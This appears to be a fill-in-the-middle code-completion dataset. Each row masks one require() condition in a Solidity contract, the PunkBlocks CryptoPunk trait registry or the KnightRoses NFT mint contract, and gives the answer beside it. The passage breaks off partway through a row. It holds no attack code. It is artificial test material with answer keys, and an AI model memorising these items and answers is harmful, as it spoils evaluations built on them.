bytes calldata _dataFemale,
uint8 _layer,
string memory _name) external
{
bytes32 key = keccak256(abi.encodePacked(_name));
Block storage b = blocks[key];
require (_layer < 13, "invalid _layer");
unchecked{
require (_dataMale.length + _dataFemale.length > 0, "no data");
require (b.dataMale.length + b.dataFemale.length == 0, "slot taken");
}
if (_dataMale.length > 0) {
require(<FILL_ME>)
b.dataMale = _dataMale;
}
if (_dataFemale.length > 0) {
require (_validatePng(_dataFemale), "invalid f png");
b.dataFemale = _dataFemale;
}
b.layer = Layer(_layer);
index[nextId] = key;
emit NewBlock(msg.sender, nextId);
unchecked{nextId++;}
}
/**
* @dev Just a limited png validation. Only verifies that the png is 24x24 and has a png structure,
* but doesn't validate any checksums or any other validation
*/
function _validatePng(bytes calldata _data) pure internal returns (bool) {
}
/**
* @dev svgFromNames returns the svg data as a string
* @param _attributeNames a list of attribute names, eg "Male 1", "Goat"
* must have at least 1 layer 0 attribute (eg. Male, Female, Alien, Ape, Zombie)
*/
function svgFromNames(string[] calldata _attributeNames) external view returns (string memory){
}
/**
* @dev svgFromKeys returns the svg data as a string
* @param _attributeKeys a list of attribute names that have been hashed,
* eg keccak256("Male 1"), keccak256("Goat")
* must have at least 1 layer 0 attribute (eg. keccak256("Male"))
*/
function svgFromKeys(bytes32[] calldata _attributeKeys) external view returns (string memory) {
}
/**
* @dev svgFromIDs returns the svg data as a string
* @param _ids uint256 ids of an attribute, by it's index of creation
*/
function svgFromIDs(uint256[] calldata _ids) external view returns (string memory) {
}
/**
* @dev svgFromPunkID returns the svg data as a string given a punk id
* @param _tokenID uint256 IDs a punk id, 0-9999
*/
function svgFromPunkID(uint256 _tokenID) external view returns (string memory) {
}
/**
* @dev _svg build the svg, layer by layer. The first layer determines if dataFemale or dataMale is used for
* the afterward layers. Empty layers will be ignored.
* @return string of the svg image
*/
function _svg(bytes32[] memory _keys) internal view returns (string memory) {
}
}
// IAttrParser implemented by 0x4e776fCbb241a0e0Ea2904d642baa4c7E171a1E9
interface IAttrParser {
function parseAttributes(uint256 _tokenId) external view returns (string[8] memory);
}
library Base64 {
/**
* @dev Base64 Encoding/Decoding Table
*/
string internal constant _TABLE = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
/**
* @dev Converts a `bytes` to its Bytes64 `string` representation.
*/
function encode(bytes memory data) internal pure returns (string memory) {
}
}
| _validatePng(_dataMale),"invalid m png" | 183,037 | _validatePng(_dataMale) |
"invalid f png" | // SPDX-License-Identifier: MIT
// Author: tycoon.eth, thanks to @geraldb & @samwilsn on Github for inspiration!
// Version: v0.0.1
pragma solidity ^0.8.17;
/**
███████████ █████
░░███░░░░░███ ░░███
░███ ░███ █████ ████ ████████ ░███ █████
░██████████ ░░███ ░███ ░░███░░███ ░███░░███
░███░░░░░░ ░███ ░███ ░███ ░███ ░██████░
░███ ░███ ░███ ░███ ░███ ░███░░███
█████ ░░████████ ████ █████ ████ █████
░░░░░ ░░░░░░░░ ░░░░ ░░░░░ ░░░░ ░░░░░
███████████ ████ █████
░░███░░░░░███░░███ ░░███
░███ ░███ ░███ ██████ ██████ ░███ █████ █████
░██████████ ░███ ███░░███ ███░░███ ░███░░███ ███░░
░███░░░░░███ ░███ ░███ ░███░███ ░░░ ░██████░ ░░█████
░███ ░███ ░███ ░███ ░███░███ ███ ░███░░███ ░░░░███
███████████ █████░░██████ ░░██████ ████ █████ ██████
░░░░░░░░░░░ ░░░░░ ░░░░░░ ░░░░░░ ░░░░ ░░░░░ ░░░░░░
A Registry of 24x24 png images
This contract:
1. Stores all the classic traits of the CryptoPunks in
individual png files, 100% on-chain. These are then used as
blocks to construct CryptoPunk images. Outputted as SVGs.
2. Any of the 10,000 "classic" CryptoPunks can be generated
by supplying desired arguments to a function, such as
the id of a punk, or a list of the traits.
3. An unlimited number of new punk images can be generated from
the existing classic set of traits, or even from new traits!
4. New traits (blocks) can be added to the contract by
registering them with the `registerBlock` function.
Further documentation:
https://github.com/0xTycoon/punk-blocks
*/
contract PunkBlocks {
// Layer is in the order of rendering
enum Layer {
Base, // 0 Base is the face. Determines if m or f version will be used to render the remaining layers
Cheeks, // 1 (Rosy Cheeks)
Blemish, // 2 (Mole, Spots)
Hair, // 3 (Purple Hair, Shaved Head, Pigtails, ...)
Beard, // 4 (Big Beard, Front Beard, Goat, ...)
Eyes, // 5 (Clown Eyes Green, Green Eye Shadow, ...)
Eyewear, // 6 (VR, 3D Glass, Eye Mask, Regular Shades, Welding Glasses, ...)
Nose, // 7 (Clown Nose)
Mouth, // 8 (Hot Lipstick, Smile, Buck Teeth, ...)
MouthProp, // 9 (Medical Mask, Cigarette, ...)
Earring, // 10 (Earring)
Headgear, // 11 (Beanie, Fedora, Hoodie, Police Cap, Tiara, Headband, ...)
Neck // 12 (Choker, Silver Chain, Gold Chain)
}
struct Block {
Layer layer; // 13 possible layers
bytes dataMale; // male version of this attribute
bytes dataFemale;// female version of this attribute
}
mapping(bytes32 => Block) blocks; // stores punk attributes as a png
uint256 nextId; // next id to use when adding a block
mapping(uint256 => bytes32) index; // index of each block by its sequence
event NewBlock(address, uint256);
/**
* Here we initialize `blocks` storage with the entire set of original CryptoPunk attributes
*/
constructor() {
}
/**
* @dev registerBlock allows anybody to add a new block to the contract.
* Either _dataMale or _dataFemale, or both, must contain a byte stream of a png file.
* It's best if the png is using an 'index palette' and the lowest bit depth possible,
* while keeping the highest compression setting.
* @param _dataMale png data for the male version, 24x24
* @param _dataFemale png data for the female version, 24x24
* @param _layer 0 to 12, corresponding to the Layer enum type.
*/
function registerBlock(
bytes calldata _dataMale,
bytes calldata _dataFemale,
uint8 _layer,
string memory _name) external
{
bytes32 key = keccak256(abi.encodePacked(_name));
Block storage b = blocks[key];
require (_layer < 13, "invalid _layer");
unchecked{
require (_dataMale.length + _dataFemale.length > 0, "no data");
require (b.dataMale.length + b.dataFemale.length == 0, "slot taken");
}
if (_dataMale.length > 0) {
require (_validatePng(_dataMale), "invalid m png");
b.dataMale = _dataMale;
}
if (_dataFemale.length > 0) {
require(<FILL_ME>)
b.dataFemale = _dataFemale;
}
b.layer = Layer(_layer);
index[nextId] = key;
emit NewBlock(msg.sender, nextId);
unchecked{nextId++;}
}
/**
* @dev Just a limited png validation. Only verifies that the png is 24x24 and has a png structure,
* but doesn't validate any checksums or any other validation
*/
function _validatePng(bytes calldata _data) pure internal returns (bool) {
}
/**
* @dev svgFromNames returns the svg data as a string
* @param _attributeNames a list of attribute names, eg "Male 1", "Goat"
* must have at least 1 layer 0 attribute (eg. Male, Female, Alien, Ape, Zombie)
*/
function svgFromNames(string[] calldata _attributeNames) external view returns (string memory){
}
/**
* @dev svgFromKeys returns the svg data as a string
* @param _attributeKeys a list of attribute names that have been hashed,
* eg keccak256("Male 1"), keccak256("Goat")
* must have at least 1 layer 0 attribute (eg. keccak256("Male"))
*/
function svgFromKeys(bytes32[] calldata _attributeKeys) external view returns (string memory) {
}
/**
* @dev svgFromIDs returns the svg data as a string
* @param _ids uint256 ids of an attribute, by it's index of creation
*/
function svgFromIDs(uint256[] calldata _ids) external view returns (string memory) {
}
/**
* @dev svgFromPunkID returns the svg data as a string given a punk id
* @param _tokenID uint256 IDs a punk id, 0-9999
*/
function svgFromPunkID(uint256 _tokenID) external view returns (string memory) {
}
/**
* @dev _svg build the svg, layer by layer. The first layer determines if dataFemale or dataMale is used for
* the afterward layers. Empty layers will be ignored.
* @return string of the svg image
*/
function _svg(bytes32[] memory _keys) internal view returns (string memory) {
}
}
// IAttrParser implemented by 0x4e776fCbb241a0e0Ea2904d642baa4c7E171a1E9
interface IAttrParser {
function parseAttributes(uint256 _tokenId) external view returns (string[8] memory);
}
library Base64 {
/**
* @dev Base64 Encoding/Decoding Table
*/
string internal constant _TABLE = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
/**
* @dev Converts a `bytes` to its Bytes64 `string` representation.
*/
function encode(bytes memory data) internal pure returns (string memory) {
}
}
| _validatePng(_dataFemale),"invalid f png" | 183,037 | _validatePng(_dataFemale) |
"invalid attribute" | // SPDX-License-Identifier: MIT
// Author: tycoon.eth, thanks to @geraldb & @samwilsn on Github for inspiration!
// Version: v0.0.1
pragma solidity ^0.8.17;
/**
███████████ █████
░░███░░░░░███ ░░███
░███ ░███ █████ ████ ████████ ░███ █████
░██████████ ░░███ ░███ ░░███░░███ ░███░░███
░███░░░░░░ ░███ ░███ ░███ ░███ ░██████░
░███ ░███ ░███ ░███ ░███ ░███░░███
█████ ░░████████ ████ █████ ████ █████
░░░░░ ░░░░░░░░ ░░░░ ░░░░░ ░░░░ ░░░░░
███████████ ████ █████
░░███░░░░░███░░███ ░░███
░███ ░███ ░███ ██████ ██████ ░███ █████ █████
░██████████ ░███ ███░░███ ███░░███ ░███░░███ ███░░
░███░░░░░███ ░███ ░███ ░███░███ ░░░ ░██████░ ░░█████
░███ ░███ ░███ ░███ ░███░███ ███ ░███░░███ ░░░░███
███████████ █████░░██████ ░░██████ ████ █████ ██████
░░░░░░░░░░░ ░░░░░ ░░░░░░ ░░░░░░ ░░░░ ░░░░░ ░░░░░░
A Registry of 24x24 png images
This contract:
1. Stores all the classic traits of the CryptoPunks in
individual png files, 100% on-chain. These are then used as
blocks to construct CryptoPunk images. Outputted as SVGs.
2. Any of the 10,000 "classic" CryptoPunks can be generated
by supplying desired arguments to a function, such as
the id of a punk, or a list of the traits.
3. An unlimited number of new punk images can be generated from
the existing classic set of traits, or even from new traits!
4. New traits (blocks) can be added to the contract by
registering them with the `registerBlock` function.
Further documentation:
https://github.com/0xTycoon/punk-blocks
*/
contract PunkBlocks {
// Layer is in the order of rendering
enum Layer {
Base, // 0 Base is the face. Determines if m or f version will be used to render the remaining layers
Cheeks, // 1 (Rosy Cheeks)
Blemish, // 2 (Mole, Spots)
Hair, // 3 (Purple Hair, Shaved Head, Pigtails, ...)
Beard, // 4 (Big Beard, Front Beard, Goat, ...)
Eyes, // 5 (Clown Eyes Green, Green Eye Shadow, ...)
Eyewear, // 6 (VR, 3D Glass, Eye Mask, Regular Shades, Welding Glasses, ...)
Nose, // 7 (Clown Nose)
Mouth, // 8 (Hot Lipstick, Smile, Buck Teeth, ...)
MouthProp, // 9 (Medical Mask, Cigarette, ...)
Earring, // 10 (Earring)
Headgear, // 11 (Beanie, Fedora, Hoodie, Police Cap, Tiara, Headband, ...)
Neck // 12 (Choker, Silver Chain, Gold Chain)
}
struct Block {
Layer layer; // 13 possible layers
bytes dataMale; // male version of this attribute
bytes dataFemale;// female version of this attribute
}
mapping(bytes32 => Block) blocks; // stores punk attributes as a png
uint256 nextId; // next id to use when adding a block
mapping(uint256 => bytes32) index; // index of each block by its sequence
event NewBlock(address, uint256);
/**
* Here we initialize `blocks` storage with the entire set of original CryptoPunk attributes
*/
constructor() {
}
/**
* @dev registerBlock allows anybody to add a new block to the contract.
* Either _dataMale or _dataFemale, or both, must contain a byte stream of a png file.
* It's best if the png is using an 'index palette' and the lowest bit depth possible,
* while keeping the highest compression setting.
* @param _dataMale png data for the male version, 24x24
* @param _dataFemale png data for the female version, 24x24
* @param _layer 0 to 12, corresponding to the Layer enum type.
*/
function registerBlock(
bytes calldata _dataMale,
bytes calldata _dataFemale,
uint8 _layer,
string memory _name) external
{
}
/**
* @dev Just a limited png validation. Only verifies that the png is 24x24 and has a png structure,
* but doesn't validate any checksums or any other validation
*/
function _validatePng(bytes calldata _data) pure internal returns (bool) {
}
/**
* @dev svgFromNames returns the svg data as a string
* @param _attributeNames a list of attribute names, eg "Male 1", "Goat"
* must have at least 1 layer 0 attribute (eg. Male, Female, Alien, Ape, Zombie)
*/
function svgFromNames(string[] calldata _attributeNames) external view returns (string memory){
}
/**
* @dev svgFromKeys returns the svg data as a string
* @param _attributeKeys a list of attribute names that have been hashed,
* eg keccak256("Male 1"), keccak256("Goat")
* must have at least 1 layer 0 attribute (eg. keccak256("Male"))
*/
function svgFromKeys(bytes32[] calldata _attributeKeys) external view returns (string memory) {
}
/**
* @dev svgFromIDs returns the svg data as a string
* @param _ids uint256 ids of an attribute, by it's index of creation
*/
function svgFromIDs(uint256[] calldata _ids) external view returns (string memory) {
}
/**
* @dev svgFromPunkID returns the svg data as a string given a punk id
* @param _tokenID uint256 IDs a punk id, 0-9999
*/
function svgFromPunkID(uint256 _tokenID) external view returns (string memory) {
}
/**
* @dev _svg build the svg, layer by layer. The first layer determines if dataFemale or dataMale is used for
* the afterward layers. Empty layers will be ignored.
* @return string of the svg image
*/
function _svg(bytes32[] memory _keys) internal view returns (string memory) {
string memory start = '<svg class="punkblock" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">';
string memory end = '</svg>';
string memory imgStart = '<image x="0" y="0" width="24" height="24" style="image-rendering:crisp-edges;image-rendering:pixelated" xlink:href="data:image/png;base64,';
string memory imgEnd = '" />';
string memory images;
Block[] memory layers = new Block[](13);
// load the block layers in
for (uint i = 0; i < _keys.length; i++) {
Block memory b = blocks[_keys[i]];
require(<FILL_ME>)
layers[uint256(b.layer)] = b;
}
bool isFemale;
if (layers[0].dataFemale.length > 0) {
isFemale = true;
} else {
require (layers[0].dataMale.length > 0, "base layer attribute missing");
}
for (uint i = 0; i < 13; i++) {
if (isFemale && layers[0].dataFemale.length > 0) {
images = string(abi.encodePacked(
images,
imgStart,
Base64.encode(layers[i].dataFemale),
imgEnd
));
} else if(layers[i].dataMale.length > 0) {
images = string(abi.encodePacked(
images,
imgStart,
Base64.encode(layers[i].dataMale),
imgEnd
));
}
}
return string(abi.encodePacked(
start,
images,
end
));
}
}
// IAttrParser implemented by 0x4e776fCbb241a0e0Ea2904d642baa4c7E171a1E9
interface IAttrParser {
function parseAttributes(uint256 _tokenId) external view returns (string[8] memory);
}
library Base64 {
/**
* @dev Base64 Encoding/Decoding Table
*/
string internal constant _TABLE = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
/**
* @dev Converts a `bytes` to its Bytes64 `string` representation.
*/
function encode(bytes memory data) internal pure returns (string memory) {
}
}
| b.dataFemale.length+b.dataMale.length>0,"invalid attribute" | 183,037 | b.dataFemale.length+b.dataMale.length>0 |
"base layer attribute missing" | // SPDX-License-Identifier: MIT
// Author: tycoon.eth, thanks to @geraldb & @samwilsn on Github for inspiration!
// Version: v0.0.1
pragma solidity ^0.8.17;
/**
███████████ █████
░░███░░░░░███ ░░███
░███ ░███ █████ ████ ████████ ░███ █████
░██████████ ░░███ ░███ ░░███░░███ ░███░░███
░███░░░░░░ ░███ ░███ ░███ ░███ ░██████░
░███ ░███ ░███ ░███ ░███ ░███░░███
█████ ░░████████ ████ █████ ████ █████
░░░░░ ░░░░░░░░ ░░░░ ░░░░░ ░░░░ ░░░░░
███████████ ████ █████
░░███░░░░░███░░███ ░░███
░███ ░███ ░███ ██████ ██████ ░███ █████ █████
░██████████ ░███ ███░░███ ███░░███ ░███░░███ ███░░
░███░░░░░███ ░███ ░███ ░███░███ ░░░ ░██████░ ░░█████
░███ ░███ ░███ ░███ ░███░███ ███ ░███░░███ ░░░░███
███████████ █████░░██████ ░░██████ ████ █████ ██████
░░░░░░░░░░░ ░░░░░ ░░░░░░ ░░░░░░ ░░░░ ░░░░░ ░░░░░░
A Registry of 24x24 png images
This contract:
1. Stores all the classic traits of the CryptoPunks in
individual png files, 100% on-chain. These are then used as
blocks to construct CryptoPunk images. Outputted as SVGs.
2. Any of the 10,000 "classic" CryptoPunks can be generated
by supplying desired arguments to a function, such as
the id of a punk, or a list of the traits.
3. An unlimited number of new punk images can be generated from
the existing classic set of traits, or even from new traits!
4. New traits (blocks) can be added to the contract by
registering them with the `registerBlock` function.
Further documentation:
https://github.com/0xTycoon/punk-blocks
*/
contract PunkBlocks {
// Layer is in the order of rendering
enum Layer {
Base, // 0 Base is the face. Determines if m or f version will be used to render the remaining layers
Cheeks, // 1 (Rosy Cheeks)
Blemish, // 2 (Mole, Spots)
Hair, // 3 (Purple Hair, Shaved Head, Pigtails, ...)
Beard, // 4 (Big Beard, Front Beard, Goat, ...)
Eyes, // 5 (Clown Eyes Green, Green Eye Shadow, ...)
Eyewear, // 6 (VR, 3D Glass, Eye Mask, Regular Shades, Welding Glasses, ...)
Nose, // 7 (Clown Nose)
Mouth, // 8 (Hot Lipstick, Smile, Buck Teeth, ...)
MouthProp, // 9 (Medical Mask, Cigarette, ...)
Earring, // 10 (Earring)
Headgear, // 11 (Beanie, Fedora, Hoodie, Police Cap, Tiara, Headband, ...)
Neck // 12 (Choker, Silver Chain, Gold Chain)
}
struct Block {
Layer layer; // 13 possible layers
bytes dataMale; // male version of this attribute
bytes dataFemale;// female version of this attribute
}
mapping(bytes32 => Block) blocks; // stores punk attributes as a png
uint256 nextId; // next id to use when adding a block
mapping(uint256 => bytes32) index; // index of each block by its sequence
event NewBlock(address, uint256);
/**
* Here we initialize `blocks` storage with the entire set of original CryptoPunk attributes
*/
constructor() {
}
/**
* @dev registerBlock allows anybody to add a new block to the contract.
* Either _dataMale or _dataFemale, or both, must contain a byte stream of a png file.
* It's best if the png is using an 'index palette' and the lowest bit depth possible,
* while keeping the highest compression setting.
* @param _dataMale png data for the male version, 24x24
* @param _dataFemale png data for the female version, 24x24
* @param _layer 0 to 12, corresponding to the Layer enum type.
*/
function registerBlock(
bytes calldata _dataMale,
bytes calldata _dataFemale,
uint8 _layer,
string memory _name) external
{
}
/**
* @dev Just a limited png validation. Only verifies that the png is 24x24 and has a png structure,
* but doesn't validate any checksums or any other validation
*/
function _validatePng(bytes calldata _data) pure internal returns (bool) {
}
/**
* @dev svgFromNames returns the svg data as a string
* @param _attributeNames a list of attribute names, eg "Male 1", "Goat"
* must have at least 1 layer 0 attribute (eg. Male, Female, Alien, Ape, Zombie)
*/
function svgFromNames(string[] calldata _attributeNames) external view returns (string memory){
}
/**
* @dev svgFromKeys returns the svg data as a string
* @param _attributeKeys a list of attribute names that have been hashed,
* eg keccak256("Male 1"), keccak256("Goat")
* must have at least 1 layer 0 attribute (eg. keccak256("Male"))
*/
function svgFromKeys(bytes32[] calldata _attributeKeys) external view returns (string memory) {
}
/**
* @dev svgFromIDs returns the svg data as a string
* @param _ids uint256 ids of an attribute, by it's index of creation
*/
function svgFromIDs(uint256[] calldata _ids) external view returns (string memory) {
}
/**
* @dev svgFromPunkID returns the svg data as a string given a punk id
* @param _tokenID uint256 IDs a punk id, 0-9999
*/
function svgFromPunkID(uint256 _tokenID) external view returns (string memory) {
}
/**
* @dev _svg build the svg, layer by layer. The first layer determines if dataFemale or dataMale is used for
* the afterward layers. Empty layers will be ignored.
* @return string of the svg image
*/
function _svg(bytes32[] memory _keys) internal view returns (string memory) {
string memory start = '<svg class="punkblock" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">';
string memory end = '</svg>';
string memory imgStart = '<image x="0" y="0" width="24" height="24" style="image-rendering:crisp-edges;image-rendering:pixelated" xlink:href="data:image/png;base64,';
string memory imgEnd = '" />';
string memory images;
Block[] memory layers = new Block[](13);
// load the block layers in
for (uint i = 0; i < _keys.length; i++) {
Block memory b = blocks[_keys[i]];
require (b.dataFemale.length + b.dataMale.length > 0, "invalid attribute");
layers[uint256(b.layer)] = b;
}
bool isFemale;
if (layers[0].dataFemale.length > 0) {
isFemale = true;
} else {
require(<FILL_ME>)
}
for (uint i = 0; i < 13; i++) {
if (isFemale && layers[0].dataFemale.length > 0) {
images = string(abi.encodePacked(
images,
imgStart,
Base64.encode(layers[i].dataFemale),
imgEnd
));
} else if(layers[i].dataMale.length > 0) {
images = string(abi.encodePacked(
images,
imgStart,
Base64.encode(layers[i].dataMale),
imgEnd
));
}
}
return string(abi.encodePacked(
start,
images,
end
));
}
}
// IAttrParser implemented by 0x4e776fCbb241a0e0Ea2904d642baa4c7E171a1E9
interface IAttrParser {
function parseAttributes(uint256 _tokenId) external view returns (string[8] memory);
}
library Base64 {
/**
* @dev Base64 Encoding/Decoding Table
*/
string internal constant _TABLE = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
/**
* @dev Converts a `bytes` to its Bytes64 `string` representation.
*/
function encode(bytes memory data) internal pure returns (string memory) {
}
}
| layers[0].dataMale.length>0,"base layer attribute missing" | 183,037 | layers[0].dataMale.length>0 |
"Reached Max Supply" | // SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.4;
import "../node_modules/@openzeppelin/contracts/access/Ownable.sol";
import "../node_modules/@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "../node_modules/@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "../node_modules/@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "../node_modules/@openzeppelin/contracts/utils/math/SafeMath.sol";
import "./ERC721A.sol";
import "./extensions/ERC721AQueryable.sol";
contract KnightRoses is ERC721A, ERC721AQueryable, Ownable, ReentrancyGuard {
using ECDSA for bytes32;
using SafeMath for uint256;
using Strings for uint256;
uint256 public constant MAX_SUPPLY = 5005;
uint256 public constant MAX_SALE_SUPPLY = 4800;
uint256 public constant MINT_PRICE = 0.03 ether;
uint8 public maxByWalletPerPublic = 5;
uint8 public maxByWalletPerKnightSale = 1;
enum Stage {
SaleClosed,
KnightVIP,
KnightList,
Public
}
Stage public saleState = Stage.SaleClosed;
string public baseTokenURI;
string public notRevealedUri;
string public baseExtension = ".json";
bool public revealed = false;
mapping(address => uint8) private _vipList;
bytes32 private _knightListMerkleRoot;
constructor() ERC721A("Knight&Roses", "Knights") {}
////////////////////
// MINT FUNCTIONS //
////////////////////
function mint(uint8 _amountOfKnight, bytes32[] memory _proof) public payable mintIsOpen nonContract nonReentrant{
require(<FILL_ME>)
require(MINT_PRICE * _amountOfKnight <= msg.value, "Ether value sent is not correct");
if (saleState == Stage.KnightList) {
require(_knightListMerkleRoot != "", "Knight Claim merkle tree not set. This address is not allowed to mint");
require(MerkleProof.verify(_proof, _knightListMerkleRoot,
keccak256(abi.encodePacked(msg.sender))),
"KnightList claim validation failed.");
_knightListMint(_amountOfKnight);
}
if (saleState == Stage.Public) {
_publicMint(_amountOfKnight);
}
if (saleState == Stage.KnightVIP) {
revert("I'm sorry you're out of time");
}
}
function _publicMint(uint8 _amountOfKnight) internal mintIsOpen {
}
function _knightListMint(uint8 _amountOfKnight) internal mintIsOpen {
}
function mintVIP(uint8 _amountOfKnight) public mintIsOpen nonReentrant{
}
////////////////////
// OWNER FUNCTIONS //
////////////////////
function setMaxByWalletPerPublic(uint8 newMaxByWallet) external onlyOwner {
}
function setMaxByWalletPerKnightSale(uint8 newMaxByWallet) external onlyOwner {
}
function setMaxVipListRedemptions(
address[] calldata _addresses,
uint8 _redemptions
) external onlyOwner {
}
function setKnightListMerkleRoot(bytes32 newMerkleRoot_) external onlyOwner {
}
function setStage(Stage _saleState) public onlyOwner {
}
function setReveal(bool _setReveal) public onlyOwner {
}
function setBaseURI(string memory _baseTokenURI) public onlyOwner {
}
function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner {
}
function reserveMint(address to, uint8 _amountOfKnight) public onlyOwner nonReentrant mintIsOpen{
}
function airdrop(
address[] calldata _addresses,
uint8 _amountOfKnight
) external onlyOwner nonReentrant mintIsOpen {
}
function withdraw() public onlyOwner nonReentrant {
}
////////////////////
// OVERRIDES //
////////////////////
function _baseURI() internal view virtual override returns (string memory) {
}
function tokenURI(uint256 tokenId)
public
view
virtual
override(ERC721A, IERC721A)
returns (string memory)
{
}
function _startTokenId() internal view virtual override returns (uint256) {
}
/******************** READ ********************/
function numberMinted(address owner) public view returns (uint256) {
}
function nextTokenId() public view returns (uint256) {
}
function baseURI() public view returns (string memory) {
}
function exists(uint256 tokenId) public view returns (bool) {
}
function toString(uint256 x) public pure returns (string memory) {
}
function getOwnershipOf(uint256 index) public view returns (TokenOwnership memory) {
}
function getOwnershipAt(uint256 index) public view returns (TokenOwnership memory) {
}
function totalMinted() public view returns (uint256) {
}
function totalBurned() public view returns (uint256) {
}
function numberBurned(address owner) public view returns (uint256) {
}
function getAvailableForMintByCurrentStage(address checkedAddress) public view returns (uint8) {
}
function checkVipList(address checkedAddress) public view returns (address, uint8) {
}
/******************** MODIFIERS ********************/
modifier mintIsOpen() {
}
modifier nonContract() {
}
//////////////////////
// GETTER FUNCTIONS //
//////////////////////
/**
* @notice Unpack and get number of viplist token mints redeemed by caller
* @return number of allowlist redemptions used
* @dev Number of redemptions are stored in ERC721A auxillary storage, which can help
* remove an extra cold SLOAD and SSTORE operation. Since we're storing two values
* (vip, public and knightlist redemptions) we need to pack and unpack three uint8s into a single uint24.
* See https://chiru-labs.github.io/ERC721A/#/erc721a?id=addressdata
*/
function getRedemptionsVipList() private view returns (uint8) {
}
/**
* @notice Unpack and get number of knightlist token mints redeemed by caller
* @return number of allowlist redemptions used
* @dev Number of redemptions are stored in ERC721A auxillary storage, which can help
* remove an extra cold SLOAD and SSTORE operation. Since we're storing two values
* (vip, public and knightlist redemptions) we need to pack and unpack three uint8s into a single uint24.
* See https://chiru-labs.github.io/ERC721A/#/erc721a?id=addressdata
*/
function getRedemptionsKnightList() private view returns (uint8) {
}
/**
* @notice Unpack and get number of knightlist token mints redeemed by caller
* @return number of allowlist redemptions used
* @dev Number of redemptions are stored in ERC721A auxillary storage, which can help
* remove an extra cold SLOAD and SSTORE operation. Since we're storing two values
* (vip, public and knightlist redemptions) we need to pack and unpack three uint8s into a single uint24.
* See https://chiru-labs.github.io/ERC721A/#/erc721a?id=addressdata
*/
function getRedemptionsPublic() private view returns (uint8) {
}
//////////////////////
// HELPER FUNCTIONS //
//////////////////////
/**
* @notice Pack three uint8s (viplist, allowlist and public redemptions) into a single uint24 value
* @return Packed value
* @dev Performs shift and bit operations to pack two uint8s into a single uint24
*/
function packMintRedemptions(
uint8 _vipMintRedemptions,
uint8 _knightListMintRedemptions,
uint8 _publicMintRedemptions
) private pure returns (uint24) {
}
/**
* @notice Unpack a single uint24 value into thr uint8s (vip, knightList and public redemptions)
* @return vipMintRedemptions knightListMintRedemptions publicMintRedemptions Unpacked values
* @dev Performs shift and bit operations to unpack a single uint64 into two uint32s
*/
function unpackMintRedemptions(uint64 _mintRedemptionPack)
private
pure
returns (uint8 vipMintRedemptions, uint8 knightListMintRedemptions, uint8 publicMintRedemptions)
{
}
/**
* @notice Increment number of viplist token mints redeemed by caller
* @dev We cast the _numToIncrement argument into uint8, which will not be an issue as
* mint quantity should never be greater than 2^8 - 1.
* @dev Number of redemptions are stored in ERC721A auxillary storage, which can help
* remove an extra cold SLOAD and SSTORE operation. Since we're storing two values
* (vip, knightlist and public) we need to pack and unpack two uint8s into a single uint64.
* See https://chiru-labs.github.io/ERC721A/#/erc721a?id=addressdata
*/
function incrementRedemptionsVipList(uint8 _numToIncrement) private {
}
/**
* @notice Increment number of knightlist token mints redeemed by caller
* @dev We cast the _numToIncrement argument into uint8, which will not be an issue as
* mint quantity should never be greater than 2^8 - 1.
* @dev Number of redemptions are stored in ERC721A auxillary storage, which can help
* remove an extra cold SLOAD and SSTORE operation. Since we're storing two values
* (vip, knightlist and public redemptions) we need to pack and unpack two uint8s into a single uint64.
* See https://chiru-labs.github.io/ERC721A/#/erc721a?id=addressdata
*/
function incrementRedemptionsKnightList(uint8 _numToIncrement) private {
}
/**
* @notice Increment number of public token mints redeemed by caller
* @dev We cast the _numToIncrement argument into uint8, which will not be an issue as
* mint quantity should never be greater than 2^8 - 1.
* @dev Number of redemptions are stored in ERC721A auxillary storage, which can help
* remove an extra cold SLOAD and SSTORE operation. Since we're storing two values
* (vip, knightlist and public) we need to pack and unpack two uint8s into a single uint64.
* See https://chiru-labs.github.io/ERC721A/#/erc721a?id=addressdata
*/
function incrementRedemptionsPublic(uint8 _numToIncrement) private {
}
/**
* @notice Prevent accidental ETH transfer
*/
fallback() external payable {
}
/**
* @notice Prevent accidental ETH transfer
*/
receive() external payable {
}
}
/**
* Function not implemented
*/
error NotImplemented();
| totalSupply()+_amountOfKnight<=MAX_SALE_SUPPLY,"Reached Max Supply" | 183,049 | totalSupply()+_amountOfKnight<=MAX_SALE_SUPPLY |
"Ether value sent is not correct" | // SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.4;
import "../node_modules/@openzeppelin/contracts/access/Ownable.sol";
import "../node_modules/@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "../node_modules/@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "../node_modules/@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "../node_modules/@openzeppelin/contracts/utils/math/SafeMath.sol";
import "./ERC721A.sol";
import "./extensions/ERC721AQueryable.sol";
contract KnightRoses is ERC721A, ERC721AQueryable, Ownable, ReentrancyGuard {
using ECDSA for bytes32;
using SafeMath for uint256;
using Strings for uint256;
uint256 public constant MAX_SUPPLY = 5005;
uint256 public constant MAX_SALE_SUPPLY = 4800;
uint256 public constant MINT_PRICE = 0.03 ether;
uint8 public maxByWalletPerPublic = 5;
uint8 public maxByWalletPerKnightSale = 1;
enum Stage {
SaleClosed,
KnightVIP,
KnightList,
Public
}
Stage public saleState = Stage.SaleClosed;
string public baseTokenURI;
string public notRevealedUri;
string public baseExtension = ".json";
bool public revealed = false;
mapping(address => uint8) private _vipList;
bytes32 private _knightListMerkleRoot;
constructor() ERC721A("Knight&Roses", "Knights") {}
////////////////////
// MINT FUNCTIONS //
////////////////////
function mint(uint8 _amountOfKnight, bytes32[] memory _proof) public payable mintIsOpen nonContract nonReentrant{
